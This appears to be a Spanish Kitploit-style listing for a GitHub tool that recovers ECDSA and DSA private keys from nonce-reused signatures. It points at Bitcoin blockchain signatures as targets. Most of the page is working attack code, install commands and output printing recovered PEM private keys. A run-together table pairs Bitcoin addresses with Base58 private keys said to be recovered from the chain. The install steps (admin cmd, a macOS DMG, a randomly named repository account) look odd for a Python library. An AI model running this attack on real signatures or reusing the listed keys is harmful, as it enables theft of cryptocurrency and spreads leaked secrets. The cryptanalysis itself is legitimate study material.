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ecdsa-private-key-recovery — Realiza ataques de recuperación de claves privadas por reutilización de nonce en ECDSA y DSA para analizar vulnerabilidades de firmas y recuperar claves privadas a partir de firmas de blockchain. | Kitploit
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GitHubyadyvazifeh1oz92/ecdsa-private-key-recovery

ecdsa-private-key-recovery

Realiza ataques de recuperación de claves privadas por reutilización de nonce en ECDSA y DSA para analizar vulnerabilidades de firmas y recuperar claves privadas a partir de firmas de blockchain.

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520537hace 9 díasRevisado por Kitploit

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ecdsa-key-recovery

Realiza ataques de recuperación de clave privada por reutilización de nonce en ECDSA y DSA

Una herramienta de investigación criptográfica para analizar vulnerabilidades en firmas

Recuperemos la clave privada de dos firmas que comparten el mismo nonce k. Observa cómo elegir el mismo nonce k hace que ambas firmas tengan un valor de firma r idéntico. Para encontrar buenos candidatos para una reutilización de nonce en ECDSA, busca firmas que compartan el mismo r, pubkey en curve para diferentes mensajes (o hashes). Por ejemplo, los proyectos blockchain basados en bitcoind suelen ser buenas fuentes de material de firmas ECDSA.

  • sampleA (r, sA, hashA, pubkey, curve)
  • sampleB (r, sB, hashB, pubkey, curve)
root@kitploit:~
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # misma privkey que sampleA, r idéntico debido a la reutilización de nonce k.

# recuperar la clave privada
sampleA.recover_nonce_reuse(sampleB)  # rellena sampleA con la clave privada recuperada lista para usar
print sampleA.privkey

Opciones de instalación:

setup

Las siguientes instrucciones son para Windows y Linux; los usuarios de macOS tienen un archivo DMG.

Verifica la instalación de Git y Python en tu sistema.

Descarga Git para Windows:

https://git-scm.com/install/windows

Descarga Python para Windows (directo):

https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe

Finalmente, abre cmd como administrador.

root@kitploit:~
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
root@kitploit:~
cd ecdsa-private-key-recovery
root@kitploit:~
py -m pip install -r requirements.txt
root@kitploit:~
py setup.py install

Python 2.x:

root@kitploit:~
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

root@kitploit:~
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Recuperación de claves privadas de la cadena de bloques de Bitcoin

tools/README.md

BTC AddressBase58 Privkeyr
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP49625JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT6828441658514710620715231245132541628903431519484374098968817647395811175535

Ejemplo

crear objetos de firma recuperables:

root@kitploit:~
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# especificar curva
curve = ecdsa.SECP256k1

# crear objeto pubkey ecdsa estándar a partir de cadena codificada en hex
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# crear objetos de firma recuperables sampleA y sampleB.
# r largo, s largo, hash bytestr, objeto pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# clave aún no recuperada
assert (sampleA.x is None)

recuperar la clave privada para sampleA

root@kitploit:~
# intentar recuperar la clave - esto actualiza el objeto sampleA
sampleA.recover_nonce_reuse(sampleB)    # recuperar privkey compartida con sampleB
assert (sampleA.x is not None)          # afirmar que la recuperación de privkey fue exitosa. Esto nos da un objeto privkey ECDSA listo para usar
assert sampleA.privkey

salida

root@kitploit:~
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

INFO:__main__:------------DSA------------
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (962114315288785318297754502373467834746102876259L, 152066227943132308247866282041325280216845090990L), <_DSAobj @0x2c49a80 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (962114315288785318297754502373467834746102876259L, 357089477795349418794190243474458899186606359757L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ >, <DsaSignature 0x2c7a3f sig=(9621143152…,3570894777…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a5b sig=(9621143152…,1520662279…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSgIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAA8tZboZpqrRAwKtK0
mXxwct7Es1BBih3HheeLBMOHCqPlwJmfUA8kBZQZzu3V+at5IWlRi0fTikvNWuqN
GLqMkf0kqXOhzP8/hD7B/CUF1YedzGKqC2BfhX/RON+CD/mFi35As8G73O29GCUl
qMd0KYhHHtBvVPiLAhUA/5r9a94k/9/mHVub1U0WrAJv2B8CgYARyESPcKSpBEoT
nXlMrX1M71RySJL5nrqUKpFTFRSoIwX5sj7ZRfKSqbf2umwSu8LfCEOZ2qKu0+jp
+bUC0oihSjaVCrADZykPr67k9mt56xx1wP4vUJJNfM3Wkty5xsI3JtUFbQ5EzFAt
JhLRWxOqcGEm35ZPQ4ao1qZsIsSVCQQWAhRqVNUTHGUaRRA5lXlmN4sw9glosQ==
-----END PRIVATE KEY-----
DEBUG:__main__:generated sample signatures: (('\x96.\xed\x06?Tx\x87\x96\xc0Jxe\xc1\xb7\xa0}\xbaSl', (921214889680762780870505834724573810649257487648L, 1206590109737383111438209532388130932310558452933L), <_DSAobj @0x2c78cd8 y,g,p(1024),q>), ('\xf2\x9a\x9a\x81\xa8\x1b\x071Z1\xe28\xd3\x993\xff\xc7[b\xab', (921214889680762780870505834724573810649257487648L, 254170456806936279470958328275930254179957847437L), <_DSAobj @0x2c788f0 y,g,p(1024),q>))
DEBUG:__main__:Signature Objects: [<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ >, <DsaSignature 0x2c7a61 sig=(9212148896…,2541704568…) public=✔ private=⨯ >]
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=⨯ > - recovering privatekey from nonce reuse...
DEBUG:__main__:<DsaSignature 0x2c7a83 sig=(9212148896…,1206590109…) public=✔ private=✔ > - Private key recovered!
-----BEGIN PRIVATE KEY-----
MIIBSwIBADCCASsGByqGSM44BAEwggEeAoGBAIAAAAAAAAAARApDBH1CEeZPeIM9
mMb6l3FyY8+AOy+cdiDzCaqlkIRVIRRxvnCH5oJ6gkinosGscZMTgF7IwQJzDHFm
oxvVdpACrj5Je+kpF6djefAbe+ByZ4FowkGq1EdMZF8aZzsik3CFkEA/vDsjvAsg
XmKRvOnFHkkFuKCRAhUA/+rcmBQ71NBsDzkbusi6NQpTNF8CgYAFVt8xSXTiCGn8
+bqWyoX+gjItArrT28o6fGnq+apjwasvWDHq1FETk/gwqTbTwWTiMo2eOTImRKDF
MbK1us+DjhloAUuhL6nCRQhsLs4Jq+8A/y7aol/HjCz1fHRKKDD9wqKDf2kWdI97
Kb2Hq4AUoJWTCT0ijX+oQJafbywjdwQXAhUAniK/kyRv/SFd1uJjuDMh0EntMws=
-----END PRIVATE KEY-----

La biblioteca está escrita de manera que intenta actualizar los objetos ecdsa solo con pubkey a objetos ecdsa con clave privada habilitada tras una recuperación exitosa. Esto facilita el trabajo con los objetos de clave recuperados. La biblioteca realiza la recuperación de claves tanto para ECDSA como para DSA.

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